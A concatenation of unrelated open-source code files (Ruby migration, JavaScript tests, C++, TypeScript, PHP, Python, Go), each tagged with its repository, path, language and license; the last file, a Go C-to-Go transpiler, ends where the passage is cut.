to_create << MetadataField.new(
name: "trap_type",
display_name: "Trap Type",
description: "Trap type used on the specimen",
base_type: MetadataField::STRING_TYPE,
options: ["BG-Sentinel", "Gravid", "CDC Light Trap", "EVS/CO2", "Fay-Prince", "Other"],
is_core: 1,
is_default: 1,
group: "Host",
host_genomes: [mosquito_genome]
)
to_create << MetadataField.new(
name: "genus_species",
display_name: "Genus/Species",
description: "Genus/species of the mosquito",
base_type: MetadataField::STRING_TYPE,
options: ["Aedes aegypti", "Culex erythrothorax", "Aedes sierrensis", "Anopheles punctipennis", "Anopheles freeborni", "Culex tarsalis", "Culex pipiens", "Aedes albopictus", "Other"],
is_core: 1,
is_default: 1,
group: "Host",
host_genomes: [mosquito_genome]
)
to_create << MetadataField.new(
name: "blood_fed",
display_name: "Blood Fed",
description: "Information about the mosquito's blood feeding",
base_type: MetadataField::STRING_TYPE,
options: ["Unfed", "Partially Blood Fed", "Blood Fed", "Gravid", "Gravid and Blood Fed"],
force_options: 1,
is_core: 1,
is_default: 1,
group: "Host",
host_genomes: [mosquito_genome]
)
to_create << MetadataField.new(
name: "sample_unit",
display_name: "Sample Unit",
description: "Number of mosquitoes in the sample that was sequenced",
base_type: MetadataField::NUMBER_TYPE,
is_core: 1,
is_default: 1,
group: "Host",
host_genomes: [mosquito_genome]
)
end
# Create the fields unless they already exist
to_create.each do |m|
unless MetadataField.find_by(name: m.name)
m.save
end
end
# Each project gets a reference copy of the set of "default" fields
default_fields = MetadataField.where(is_default: 1)
Project.all.each do |p|
# Bulk insertions for efficiency
values = default_fields.map { |f| "(#{p.id}, #{f.id})" }.join(",")
ActiveRecord::Base.connection.execute("INSERT INTO metadata_fields_projects (project_id, metadata_field_id) VALUES #{values}")
end
end
def down
MetadataField.delete_all
end
end
| chanzuckerberg/idseq-web | db/migrate/20190116005251_seed_metadata_fields.rb | Ruby | mit | 13,216 |
version https://git-lfs.github.com/spec/v1
oid sha256:0f924f0bd38d3dfb7ebc34016ec96c018aee7fb62e1cd562898fdeb85ca7d283
size 2234
| yogeshsaroya/new-cdnjs | ajax/libs/timelinejs/2.26.1/js/locale/si.js | JavaScript | mit | 129 |
package Lab.CarShop.Interfaces;
public interface Car {
int tires = 4;
String getModel();
String getColor();
int getHorsePower();
}
| StoyanVitanov/SoftwareUniversity | Java DB Fundamentals/Hibernate/Java Overview/OOP Principles/Lab/CarShop/Interfaces/Car.java | Java | mit | 152 |
!(function(){
var spg = require('./simple-password-generator.js');
console.log(spg.generate({
length : 3
}));
})(); | edmarriner/simple-password-generator | example.js | JavaScript | mit | 124 |
/* @flow */
/* **********************************************************
* File: tests/utils/dataStreams/graphBuffer.spec.js
*
* Brief: Provides a storage class for buffering data outputs
*
* Authors: Craig Cheney
*
* 2017.10.01 CC - Updated test suite for multi-device
* 2017.09.28 CC - Document created
*
********************************************************* */
import {
getDeviceObj,
resetStartTime,
getStartTime,
getLastTime,
getDataPointDecimated,
getDataIndex,
logDataPoints,
resetDataBuffer,
getDataLength,
getLastDataPointsDecimated,
getDataSeries,
getFullDataObj,
getDataObjById
} from '../../../app/utils/dataStreams/graphBuffer';
import { deviceIdFactory } from '../../factories/factories';
import { accDataFactory } from '../../factories/dataFactories';
import type { deviceObjT } from '../../../app/utils/dataStreams/graphBuffer';
/* Global IDs of devices */
const deviceId1 = deviceIdFactory();
const deviceId2 = deviceIdFactory();
const deviceId3 = deviceIdFactory();
/* Test Suite */
describe('graphBuffer.spec.js', () => {
describe('getDeviceObj', () => {
it('should create an empty device', () => {
const deviceId = deviceIdFactory();
const deviceObj: deviceObjT = getDeviceObj(deviceId);
expect(deviceObj.data).toEqual([]);
expect(deviceObj.dataIndex).toBe(0);
expect(deviceObj.startTime).toBeGreaterThan(0);
expect(deviceObj.lastTime).toBe(deviceObj.startTime);
});
});
describe('timing events', () => {
describe('resetStartTime', () => {
it('should set the start time, and last time', () => {
const deviceId = deviceIdFactory();
const resetReturn = resetStartTime(deviceId);
expect(resetReturn).toEqual(getStartTime(deviceId));
expect(resetReturn).toEqual(getLastTime(deviceId));
});
});
});
describe('data events', () => {
beforeEach(() => {
resetDataBuffer(deviceId1);
resetDataBuffer(deviceId2);
resetStartTime(deviceId1);
resetStartTime(deviceId2);
});
describe('resetDataBuffer', () => {
it('should reset the buffer length', () => {
const data = accDataFactory();
const num = logDataPoints(deviceId1, [data]);
expect(num).toBe(1);
expect(getDataLength(deviceId1)).toBe(1);
expect(getDataIndex(deviceId1)).toBe(0);
/* Get it back */
const dataReturned = getDataPointDecimated(deviceId1);
expect(dataReturned).toEqual(data);
expect(getDataLength(deviceId1)).toBe(1);
expect(getDataIndex(deviceId1)).toBe(1);
resetDataBuffer(deviceId1);
expect(getDataLength(deviceId1)).toBe(0);
expect(getDataIndex(deviceId1)).toBe(0);
});
});
describe('logDataPoints', () => {
it('should store an event', () => {
const startTime = resetStartTime(deviceId1);
const time = startTime + 1;
const data = accDataFactory(['x'], time);
/* Log the data point */
const num = logDataPoints(deviceId1, [data]);
expect(num).toBe(1);
const lastTime = getLastTime(deviceId1);
expect(lastTime).toEqual(time);
expect(lastTime).toEqual(startTime + 1);
/* Retrieve the point */
const dataRetrieved = getDataPointDecimated(deviceId1);
expect(dataRetrieved).toEqual(data);
expect(getDataIndex(deviceId1)).toEqual(1);
});
});
describe('getDataPointDecimated', () => {
it('should return a decimated list', () => {
/* Create the dummy data */
const data = [];
const startTime = getStartTime(deviceId1);
for (let i = 0; i <= 10; i++) {
data.push(accDataFactory(['x'], startTime + i));
}
/* Log the dummy data */
expect(logDataPoints(deviceId1, data)).toEqual(11);
/* Retrieve the decimated data */
const decimation = 100 / 30;
expect(getDataPointDecimated(deviceId1, decimation)).toEqual(data[0]);
expect(getDataPointDecimated(deviceId1, decimation)).toEqual(data[3]);
expect(getDataPointDecimated(deviceId1, decimation)).toEqual(data[7]);
expect(getDataPointDecimated(deviceId1, decimation)).toEqual(data[10]);
});
it('should not increment an index if already beyond the length of the array', () => {
/* Create the dummy data */
const data = [];
const startTime = getStartTime(deviceId1);
for (let i = 0; i <= 10; i++) {
data.push(accDataFactory(['x'], startTime + i));
}
/* Log the dummy data */
expect(logDataPoints(deviceId1, data)).toEqual(11);
/* Retrieve the decimated data */
const decimation = 5;
expect(getDataIndex(deviceId1)).toBe(0);
expect(getDataPointDecimated(deviceId1, decimation)).toEqual(data[0]);
expect(getDataIndex(deviceId1)).toBe(5);
expect(getDataPointDecimated(deviceId1, decimation)).toEqual(data[5]);
expect(getDataIndex(deviceId1)).toBe(10);
expect(getDataPointDecimated(deviceId1, decimation)).toEqual(data[10]);
expect(getDataIndex(deviceId1)).toBe(15);
expect(getDataPointDecimated(deviceId1, decimation)).toBe(undefined);
expect(getDataIndex(deviceId1)).toBe(15);
});
});
describe('getLastDataPointDecimated', () => {
it('should return the last element with no args', () => {
/* Create the dummy data */
const data = [];
const startTime = getStartTime(deviceId1);
for (let i = 0; i < 20; i++) {
data.push(accDataFactory(['x'], startTime + i));
}
/* Log the dummy data */
expect(logDataPoints(deviceId1, data)).toEqual(20);
/* Get the last point */
const lastData = getLastDataPointsDecimated(deviceId1);
expect(lastData[0]).toEqual(data[19]);
});
it('should return N elements', () => {
/* Create the dummy data */
const data = [];
const startTime = getStartTime(deviceId1);
for (let i = 0; i < 20; i++) {
data.push(accDataFactory(['x'], startTime + i));
}
/* Log the dummy data */
expect(logDataPoints(deviceId1, data)).toEqual(20);
/* Get the last point */
const lastData = getLastDataPointsDecimated(deviceId1, 5);
expect(lastData.length).toBe(5);
expect(lastData[0]).toEqual(data[15]);
expect(lastData[1]).toEqual(data[16]);
expect(lastData[2]).toEqual(data[17]);
expect(lastData[3]).toEqual(data[18]);
expect(lastData[4]).toEqual(data[19]);
});
it('should not return more elements than allowed', () => {
/* Create the dummy data */
const data = [];
const startTime = getStartTime(deviceId1);
for (let i = 0; i < 20; i++) {
data.push(accDataFactory(['x'], startTime + i));
}
/* Log the dummy data */
expect(logDataPoints(deviceId1, data)).toEqual(20);
/* Get the last point */
const lastData = getLastDataPointsDecimated(deviceId1, 5, 5);
expect(lastData.length).toBe(4);
expect(lastData[0]).toEqual(data[4]);
expect(lastData[1]).toEqual(data[9]);
expect(lastData[2]).toEqual(data[14]);
expect(lastData[3]).toEqual(data[19]);
});
it('should handle non-integer decimation', () => {
/* Create the dummy data */
const data = [];
const startTime = getStartTime(deviceId1);
for (let i = 0; i < 11; i++) {
data.push(accDataFactory(['x'], startTime + i));
}
/* Log the dummy data */
expect(logDataPoints(deviceId1, data)).toEqual(11);
/* Get the last point */
const decimation = 10 / 3;
const lastData = getLastDataPointsDecimated(deviceId1, 4, decimation);
expect(lastData.length).toBe(4);
expect(lastData[0]).toEqual(data[0]);
expect(lastData[1]).toEqual(data[3]);
expect(lastData[2]).toEqual(data[7]);
expect(lastData[3]).toEqual(data[10]);
});
it('should handle multiple devices', () => {
/* Create the dummy data */
const data1 = [];
const data2 = [];
const startTime1 = getStartTime(deviceId1);
const startTime2 = getStartTime(deviceId2);
for (let i = 0; i <= 10; i++) {
data1.push(accDataFactory(['x'], startTime1 + i));
data2.push(accDataFactory(['x'], startTime2 + i));
}
/* Log the dummy data */
expect(logDataPoints(deviceId1, data1)).toEqual(11);
expect(logDataPoints(deviceId2, data2)).toEqual(11);
/* Retrieve the decimated data */
const decimation = 100 / 30;
expect(getDataPointDecimated(deviceId1, decimation)).toEqual(data1[0]);
expect(getDataPointDecimated(deviceId1, decimation)).toEqual(data1[3]);
expect(getDataPointDecimated(deviceId1, decimation)).toEqual(data1[7]);
expect(getDataPointDecimated(deviceId1, decimation)).toEqual(data1[10]);
/* Device 2 */
expect(getDataPointDecimated(deviceId2, decimation)).toEqual(data2[0]);
expect(getDataPointDecimated(deviceId2, decimation)).toEqual(data2[3]);
expect(getDataPointDecimated(deviceId2, decimation)).toEqual(data2[7]);
expect(getDataPointDecimated(deviceId2, decimation)).toEqual(data2[10]);
});
});
describe('getDataSeries', () => {
it('should return the full data series for a device', () => {
/* Create the dummy data */
const data = [];
const startTime = getStartTime(deviceId1);
for (let i = 0; i < 11; i++) {
data.push(accDataFactory(['x'], startTime + i));
}
/* Log the dummy data */
expect(logDataPoints(deviceId1, data)).toEqual(11);
/* Retrieve the data points */
const dataReturned = getDataSeries(deviceId1);
expect(dataReturned.length).toBe(data.length);
/* Check that all of the points match */
for (let j = 0; j < data.length; j++) {
expect(dataReturned[j]).toEqual(data[j]);
}
});
});
describe('getFullDataObj', () => {
it('should return the entire data object', () => {
/* Create the dummy data */
const data1 = [];
const startTime1 = getStartTime(deviceId1);
for (let i = 0; i < 11; i++) {
data1.push(accDataFactory(['x'], startTime1 + i));
}
/* Log the dummy data */
expect(logDataPoints(deviceId1, data1)).toEqual(11);
/* Create the dummy data */
const data2 = [];
const startTime2 = getStartTime(deviceId2);
for (let i = 0; i < 11; i++) {
data2.push(accDataFactory(['x'], startTime2 + i));
}
/* Log the dummy data */
expect(logDataPoints(deviceId2, data2)).toEqual(11);
/* Retrieve the data object */
const dataObj = getFullDataObj();
const dataReturned1 = dataObj[deviceId1].data;
const dataReturned2 = dataObj[deviceId2].data;
expect(data1).toEqual(dataReturned1);
expect(data2).toEqual(dataReturned2);
// const dataReturned1 = getDataSeries(deviceId1);
// expect(dataReturned1.length).toBe(data.length);
// /* Check that all of the points match */
// for (let j = 0; j < data.length; j++) {
// expect(dataReturned1[j]).toEqual(data[j]);
// }
});
});
describe('getDataObjById', () => {
it('should return dataObjs for only the ids request', () => {
/* Create the dummy data */
const data1 = [];
const startTime1 = getStartTime(deviceId1);
for (let i = 0; i < 11; i++) {
data1.push(accDataFactory(['x'], startTime1 + i));
}
/* Log the dummy data */
expect(logDataPoints(deviceId1, data1)).toEqual(11);
/* Create the dummy data */
const data2 = [];
const startTime2 = getStartTime(deviceId2);
for (let i = 0; i < 11; i++) {
data2.push(accDataFactory(['x'], startTime2 + i));
}
/* Log the dummy data */
expect(logDataPoints(deviceId2, data2)).toEqual(11);
/* Create the dummy data 3 */
const data3 = [];
const startTime3 = getStartTime(deviceId3);
for (let i = 0; i < 11; i++) {
data3.push(accDataFactory(['x'], startTime3 + i));
}
/* Log the dummy data */
expect(logDataPoints(deviceId3, data3)).toEqual(11);
/* Retrieve part of the data */
const reqIds = [deviceId2, deviceId3];
const dataById = getDataObjById(reqIds);
/* Expect to get back keys for those requested */
expect(Object.keys(dataById)).toEqual(reqIds);
/* Check that the object match */
expect(dataById[deviceId2].data).toEqual(data2);
expect(dataById[deviceId3].data).toEqual(data3);
});
});
});
});
/* [] - END OF FILE */
| TheCbac/MICA-Desktop | test/utils/dataStreams/graphBuffer.spec.js | JavaScript | mit | 13,026 |
/*
* Copyright © 2017 papamitra
*
* Permission is hereby granted, free of charge, to any person obtaining
* a copy of this software and associated documentation files (the
* "Software"), to deal in the Software without restriction, including
* without limitation the rights to use, copy, modify, merge, publish,
* distribute, sublicense, and/or sell copies of the Software, and to
* permit persons to whom the Software is furnished to do so, subject to
* the following conditions:
*
* The above copyright notice and this permission notice (including the
* next paragraph) shall be included in all copies or substantial
* portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
* NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
* BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
* ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
* CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
#include "client.h"
#include "resource.h"
namespace karuta {
std::unique_ptr<Resource> Client::resource_create(
const struct wl_interface* interface, uint32_t version, uint32_t id) {
struct wl_resource* resource =
wl_resource_create(client_, interface, version, id);
if (!resource) {
wl_client_post_no_memory(client_);
return std::unique_ptr<Resource>();
}
return std::unique_ptr<Resource>(new Resource{resource});
}
} // karuta
| papamitra/compositor-cpp | client.cpp | C++ | mit | 1,633 |
export type { Format } from "../types/Format";
export type { GlyphMetadata } from "./GlyphMetadata";
export type { GlyphTransformFn } from "./GlyphTransformFn";
export type { GlyphData } from "./GlyphData";
export type { InitialOptions } from "./InitialOptions";
export type { WebfontOptions } from "./WebfontOptions";
| itgalaxy/webfont | src/types/index.ts | TypeScript | mit | 319 |
/// <reference path="emscripten.d.ts" />
/// <reference path="libvorbis.asmjs.d.ts" />
/// <reference path="../typings/es6-promise/es6-promise.d.ts" />
module libvorbis {
export function makeRawNativeModule(options?: emscripten.EmscriptenModuleOptions) {
return new Promise<emscripten.EmscriptenModule>((resolve, reject) => {
_makeRawNativeModule(options, resolve);
});
}
}
| Nanonid/VorbisJSExample | bower_components/libvorbis.js/ts/NativeModule.ts | TypeScript | mit | 412 |
from turbogears.identity.soprovider import *
from secpwhash import check_password
class SoSecPWHashIdentityProvider(SqlObjectIdentityProvider):
def validate_password(self, user, user_name, password):
# print >>sys.stderr, user, user.password, user_name, password
return check_password(user.password,password)
| edwardsnj/rmidb2 | rmidb2/sosecpwhashprovider.py | Python | mit | 317 |
<?php
namespace Boxc;
class Config {
// Your application identifier
const APP_ID = "";
// Your application secret
const APP_SECRET = "";
// API Endpoint
const ENDPOINT = "https://api.boxc.com/v1/";
// SDK Version
const VERSION = "1.2";
// The user's access token
public static $access_token = "";
/**
* Sets the access token
* @param string $access_token
* @return void
*/
public static function set_user($access_token = "")
{
self::$access_token = $access_token;
}
} | boxc/api-php-sdk | Resources/Config.php | PHP | mit | 556 |
<?php
/**
* This file is part of the Underbar.php package.
*
* Copyright (C) 2013 Shota Nozaki <emonkak@gmail.com>
*
* Licensed under the MIT License
*/
namespace Underbar\Iterator;
class InitialIterator implements \Iterator
{
private $it;
private $n;
private $queue;
private $current;
public function __construct(\Iterator $it, $n)
{
$this->it = $it;
$this->n = $n;
}
public function current()
{
return $this->current;
}
public function key()
{
return $this->it->key();
}
public function next()
{
$this->it->next();
$this->queue->enqueue($this->it->current());
$this->current = $this->queue->dequeue();
}
public function rewind()
{
$this->it->rewind();
$this->queue = new \SplQueue();
$n = $this->n;
while ($this->it->valid()) {
$this->queue->enqueue($this->it->current());
if (--$n < 0) {
break;
}
$this->it->next();
}
if (!$this->queue->isEmpty()) {
$this->current = $this->queue->dequeue();
}
}
public function valid()
{
return $this->it->valid();
}
}
| emonkak/underbar.php | src/Underbar/Iterator/InitialIterator.php | PHP | mit | 1,257 |
namespace Vidyano.WebComponents {
"use strict";
@WebComponent.register({
properties: {
attribute: Object,
noLabel: {
type: Boolean,
reflectToAttribute: true,
value: false
},
editing: {
type: Boolean,
reflectToAttribute: true,
computed: "_computeEditing(attribute.parent.isEditing, nonEdit)"
},
nonEdit: {
type: Boolean,
reflectToAttribute: true,
value: false,
observer: "_nonEditChanged"
},
required: {
type: Boolean,
reflectToAttribute: true,
computed: "_computeRequired(attribute, attribute.isRequired, attribute.value)"
},
disabled: {
type: Boolean,
reflectToAttribute: true,
value: false,
observer: "_disabledChanged"
},
readOnly: {
type: Boolean,
reflectToAttribute: true,
computed: "_computeReadOnly(attribute.isReadOnly, attribute.parent.isFrozen, disabled)"
},
bulkEdit: {
type: Boolean,
reflectToAttribute: true,
computed: "attribute.parent.isBulkEdit"
},
loading: {
type: Boolean,
reflectToAttribute: true,
readOnly: true,
value: true,
observer: "_loadingChanged"
},
height: {
type: Number,
reflectToAttribute: true
},
hidden: {
type: Boolean,
reflectToAttribute: true,
computed: "_isHidden(attribute.isVisible)"
},
hasError: {
type: Boolean,
reflectToAttribute: true,
computed: "_computeHasError(attribute.validationError)"
}
},
hostAttributes: {
"tabindex": "-1"
},
listeners: {
"focus": "_onFocus"
},
observers: [
"_attributeChanged(attribute, isAttached)"
],
forwardObservers: [
"attribute.parent.isEditing",
"attribute.parent.isFrozen",
"attribute.isRequired",
"attribute.isReadOnly",
"attribute.isVisible",
"attribute.value",
"attribute.isValueChanged",
"attribute.validationError",
"attribute.parent.isBulkEdit"
]
})
export class PersistentObjectAttributePresenter extends WebComponent implements IConfigurable {
private static _attributeImports: {
[key: string]: Promise<any>;
} = {
"AsDetail": undefined,
"BinaryFile": undefined,
"Boolean": undefined,
"ComboBox": undefined,
"CommonMark": undefined,
"DateTime": undefined,
"DropDown": undefined,
"FlagsEnum": undefined,
"Image": undefined,
"KeyValueList": undefined,
"MultiLineString": undefined,
"MultiString": undefined,
"Numeric": undefined,
"Password": undefined,
"Reference": undefined,
"String": undefined,
"TranslatedString": undefined,
"User": undefined
};
private _renderedAttribute: Vidyano.PersistentObjectAttribute;
private _renderedAttributeElement: Vidyano.WebComponents.Attributes.PersistentObjectAttribute;
private _customTemplate: PolymerTemplate;
private _focusQueued: boolean;
readonly loading: boolean; private _setLoading: (loading: boolean) => void;
attribute: Vidyano.PersistentObjectAttribute;
nonEdit: boolean;
noLabel: boolean;
height: number;
disabled: boolean;
readOnly: boolean;
attached() {
if (!this._customTemplate)
this._customTemplate = <PolymerTemplate><any>Polymer.dom(this).querySelector("template[is='dom-template']");
super.attached();
}
queueFocus() {
const activeElement = document.activeElement;
this.focus();
if (activeElement !== document.activeElement)
this._focusQueued = true;
}
private _attributeChanged(attribute: Vidyano.PersistentObjectAttribute, isAttached: boolean) {
if (this._renderedAttribute) {
Polymer.dom(this.$["content"]).children.forEach(c => Polymer.dom(this.$["content"]).removeChild(c));
this._renderedAttributeElement = this._renderedAttribute = null;
}
if (attribute && isAttached) {
this._setLoading(true);
if (!this.getAttribute("height"))
this.height = this.app.configuration.getAttributeConfig(attribute).calculateHeight(attribute);
let attributeType: string;
if (Vidyano.Service.isNumericType(attribute.type))
attributeType = "Numeric";
else if (Vidyano.Service.isDateTimeType(attribute.type))
attributeType = "DateTime";
else if (attribute.parent.isBulkEdit && (attribute.type === "YesNo" || attribute.type === "Boolean"))
attributeType = "NullableBoolean";
else
attributeType = attribute.type;
if (Vidyano.WebComponents.PersistentObjectAttributePresenter._attributeImports[attributeType] !== undefined) {
this._renderAttribute(attribute, attributeType);
return;
}
const typeImport = this._getAttributeTypeImportInfo(attributeType);
if (!typeImport) {
Vidyano.WebComponents.PersistentObjectAttributePresenter._attributeImports[attributeType] = Promise.resolve(false);
this._renderAttribute(attribute, attributeType);
return;
}
let synonymResolvers: ((result: {}) => void)[];
if (typeImport.synonyms) {
synonymResolvers = [];
typeImport.synonyms.forEach(s => Vidyano.WebComponents.PersistentObjectAttributePresenter._attributeImports[s] = new Promise(resolve => { synonymResolvers.push(resolve); }));
}
Vidyano.WebComponents.PersistentObjectAttributePresenter._attributeImports[attributeType] = new Promise(async (resolve) => {
try {
await this.importHref(this.resolveUrl("../Attributes/" + typeImport.filename));
if (synonymResolvers)
synonymResolvers.forEach(resolver => resolver(true));
this._renderAttribute(attribute, attributeType);
resolve(true);
}
catch (err) {
Vidyano.WebComponents.PersistentObjectAttributePresenter._attributeImports[attributeType] = Promise.resolve(false);
this._setLoading(false);
resolve(false);
}
});
}
}
private _getAttributeTypeImportInfo(type: string): { filename: string; synonyms?: string[]; } {
let synonyms: string[];
for (const key in Vidyano.WebComponents.Attributes.PersistentObjectAttribute.typeSynonyms) {
const typeSynonyms = Vidyano.WebComponents.Attributes.PersistentObjectAttribute.typeSynonyms[key];
if (key === type)
synonyms = typeSynonyms;
else if (typeSynonyms.indexOf(type) >= 0) {
type = key;
synonyms = typeSynonyms;
}
}
if (type === "AsDetail")
return { filename: "PersistentObjectAttributeAsDetail/persistent-object-attribute-as-detail.html", synonyms: synonyms };
else if (type === "BinaryFile")
return { filename: "PersistentObjectAttributeBinaryFile/persistent-object-attribute-binary-file.html", synonyms: synonyms };
else if (type === "Boolean" || type === "NullableBoolean")
return { filename: "PersistentObjectAttributeBoolean/persistent-object-attribute-boolean.html", synonyms: synonyms };
else if (type === "ComboBox")
return { filename: "PersistentObjectAttributeComboBox/persistent-object-attribute-combo-box.html", synonyms: synonyms };
else if (type === "CommonMark")
return { filename: "PersistentObjectAttributeCommonMark/persistent-object-attribute-common-mark.html", synonyms: synonyms };
else if (type === "DateTime")
return { filename: "PersistentObjectAttributeDateTime/persistent-object-attribute-date-time.html", synonyms: synonyms };
else if (type === "DropDown")
return { filename: "PersistentObjectAttributeDropDown/persistent-object-attribute-drop-down.html", synonyms: synonyms };
else if (type === "FlagsEnum")
return { filename: "PersistentObjectAttributeFlagsEnum/persistent-object-attribute-flags-enum.html", synonyms: synonyms };
else if (type === "Image")
return { filename: "PersistentObjectAttributeImage/persistent-object-attribute-image.html", synonyms: synonyms };
else if (type === "KeyValueList")
return { filename: "PersistentObjectAttributeKeyValueList/persistent-object-attribute-key-value-list.html", synonyms: synonyms };
else if (type === "MultiLineString")
return { filename: "PersistentObjectAttributeMultiLineString/persistent-object-attribute-multi-line-string.html", synonyms: synonyms };
else if (type === "MultiString")
return { filename: "PersistentObjectAttributeMultiString/persistent-object-attribute-multi-string.html", synonyms: synonyms };
else if (type === "Numeric")
return { filename: "PersistentObjectAttributeNumeric/persistent-object-attribute-numeric.html", synonyms: synonyms };
else if (type === "Password")
return { filename: "PersistentObjectAttributePassword/persistent-object-attribute-password.html", synonyms: synonyms };
else if (type === "Reference")
return { filename: "PersistentObjectAttributeReference/persistent-object-attribute-reference.html", synonyms: synonyms };
else if (type === "String")
return { filename: "PersistentObjectAttributeString/persistent-object-attribute-string.html", synonyms: synonyms };
else if (type === "TranslatedString")
return { filename: "PersistentObjectAttributeTranslatedString/persistent-object-attribute-translated-string.html", synonyms: synonyms };
else if (type === "User")
return { filename: "PersistentObjectAttributeUser/persistent-object-attribute-user.html", synonyms: synonyms };
return null;
}
private async _renderAttribute(attribute: Vidyano.PersistentObjectAttribute, attributeType: string) {
await Vidyano.WebComponents.PersistentObjectAttributePresenter._attributeImports[attributeType];
if (!this.isAttached || attribute !== this.attribute || this._renderedAttribute === attribute)
return;
let focusTarget: HTMLElement;
try {
if (this._customTemplate)
Polymer.dom(focusTarget = this.$["content"]).appendChild(this._customTemplate.stamp({ attribute: attribute }).root);
else {
const config = <PersistentObjectAttributeConfig>this.app.configuration.getAttributeConfig(attribute);
this.noLabel = this.noLabel || (config && !!config.noLabel);
if (!!config && config.hasTemplate)
Polymer.dom(this.$["content"]).appendChild(config.stamp(attribute, config.as || "attribute"));
else {
this._renderedAttributeElement = <WebComponents.Attributes.PersistentObjectAttribute>new (Vidyano.WebComponents.Attributes["PersistentObjectAttribute" + attributeType] || Vidyano.WebComponents.Attributes.PersistentObjectAttributeString)();
this._renderedAttributeElement.classList.add("attribute");
this._renderedAttributeElement.attribute = attribute;
this._renderedAttributeElement.nonEdit = this.nonEdit;
this._renderedAttributeElement.disabled = this.disabled;
Polymer.dom(this.$["content"]).appendChild(focusTarget = this._renderedAttributeElement);
}
}
this._renderedAttribute = attribute;
}
finally {
this._setLoading(false);
if (this._focusQueued) {
Polymer.dom(focusTarget).flush();
const activeElement = document.activeElement;
let retry = 0;
const interval = setInterval(() => {
if (++retry > 20 || document.activeElement !== activeElement)
return clearInterval(interval);
focusTarget.focus();
}, 25);
this._focusQueued = false;
}
}
}
private _computeEditing(isEditing: boolean, nonEdit: boolean): boolean {
return !nonEdit && isEditing;
}
private _nonEditChanged(nonEdit: boolean) {
if (this._renderedAttributeElement)
this._renderedAttributeElement.nonEdit = nonEdit;
}
private _disabledChanged(disabled: boolean) {
if (!this._renderedAttributeElement)
return;
this._renderedAttributeElement.disabled = disabled;
}
private _computeRequired(attribute: Vidyano.PersistentObjectAttribute, required: boolean, value: any): boolean {
return required && (value == null || (attribute && attribute.rules && attribute.rules.contains("NotEmpty") && value === ""));
}
private _computeReadOnly(isReadOnly: boolean, isFrozen: boolean, disabled: boolean): boolean {
return isReadOnly || disabled || isFrozen;
}
private _computeHasError(validationError: string): boolean {
return !StringEx.isNullOrEmpty(validationError);
}
private _isHidden(isVisible: boolean): boolean {
return !isVisible;
}
private _onFocus() {
const target = <HTMLElement>this._renderedAttributeElement || this._getFocusableElement();
if (!target)
return;
target.focus();
}
private _loadingChanged(loading: boolean) {
if (loading)
this.fire("attribute-loading", { attribute: this.attribute }, { bubbles: true });
else {
Polymer.dom(this).flush();
this.fire("attribute-loaded", { attribute: this.attribute }, { bubbles: true });
}
}
_viConfigure(actions: IConfigurableAction[]) {
if (this.attribute.parent.isSystem)
return;
actions.push({
label: `Attribute: ${this.attribute.name}`,
icon: "viConfigure",
action: () => {
this.app.changePath(`Management/PersistentObject.1456569d-e02b-44b3-9d1a-a1e417061c77/${this.attribute.id}`);
}
});
}
}
} | jmptrader/Vidyano | src/WebComponents/PersistentObjectAttributePresenter/persistent-object-attribute-presenter.ts | TypeScript | mit | 16,166 |
// This file contains functions for transpiling binary operator expressions.
package transpiler
import (
"fmt"
goast "go/ast"
"go/token"
"strings"
"github.com/elliotchance/c2go/ast"
"github.com/elliotchance/c2go/program"
"github.com/elliotchance/c2go/types"
"github.com/elliotchance/c2go/util"
)
// Comma problem. Example:
// for (int i=0,j=0;i+=1,j<5;i++,j++){...}
// For solving - we have to separate the
// binary operator "," to 2 parts:
// part 1(pre ): left part - typically one or more some expessions
// part 2(stmt): right part - always only one expression, with or witout
// logical operators like "==", "!=", ...
func transpileBinaryOperatorComma(n *ast.BinaryOperator, p *program.Program) (
stmt goast.Stmt, preStmts []goast.Stmt, err error) {
defer func() {
if err != nil {
err = fmt.Errorf("Cannot transpile operator comma : err = %v", err)
p.AddMessage(p.GenerateWarningMessage(err, n))
}
}()
left, err := transpileToStmts(n.Children()[0], p)
if err != nil {
return nil, nil, err
}
right, err := transpileToStmts(n.Children()[1], p)
if err != nil {
return nil, nil, err
}
if left == nil || right == nil {
return nil, nil, fmt.Errorf("Cannot transpile binary operator comma: right = %v , left = %v", right, left)
}
preStmts = append(preStmts, left...)
preStmts = append(preStmts, right...)
if len(preStmts) >= 2 {
return preStmts[len(preStmts)-1], preStmts[:len(preStmts)-1], nil
}
if len(preStmts) == 1 {
return preStmts[0], nil, nil
}
return nil, nil, nil
}
func transpileBinaryOperator(n *ast.BinaryOperator, p *program.Program, exprIsStmt bool) (
expr goast.Expr, eType string, preStmts []goast.Stmt, postStmts []goast.Stmt, err error) {
defer func() {
if err != nil {
err = fmt.Errorf("Cannot transpile BinaryOperator with type '%s' : result type = {%s}. Error: %v", n.Type, eType, err)
p.AddMessage(p.GenerateWarningMessage(err, n))
}
}()
operator := getTokenForOperator(n.Operator)
// Char overflow
// BinaryOperator 0x2b74458 <line:506:7, col:18> 'int' '!='
// |-ImplicitCastExpr 0x2b74440 <col:7, col:10> 'int' <IntegralCast>
// | `-ImplicitCastExpr 0x2b74428 <col:7, col:10> 'char' <LValueToRValue>
// | `-...
// `-ParenExpr 0x2b74408 <col:15, col:18> 'int'
// `-UnaryOperator 0x2b743e8 <col:16, col:17> 'int' prefix '-'
// `-IntegerLiteral 0x2b743c8 <col:17> 'int' 1
if n.Operator == "!=" {
var leftOk bool
if l0, ok := n.ChildNodes[0].(*ast.ImplicitCastExpr); ok && l0.Type == "int" {
if len(l0.ChildNodes) > 0 {
if l1, ok := l0.ChildNodes[0].(*ast.ImplicitCastExpr); ok && l1.Type == "char" {
leftOk = true
}
}
}
if leftOk {
if r0, ok := n.ChildNodes[1].(*ast.ParenExpr); ok && r0.Type == "int" {
if len(r0.ChildNodes) > 0 {
if r1, ok := r0.ChildNodes[0].(*ast.UnaryOperator); ok && r1.IsPrefix && r1.Operator == "-" {
if r2, ok := r1.ChildNodes[0].(*ast.IntegerLiteral); ok && r2.Type == "int" {
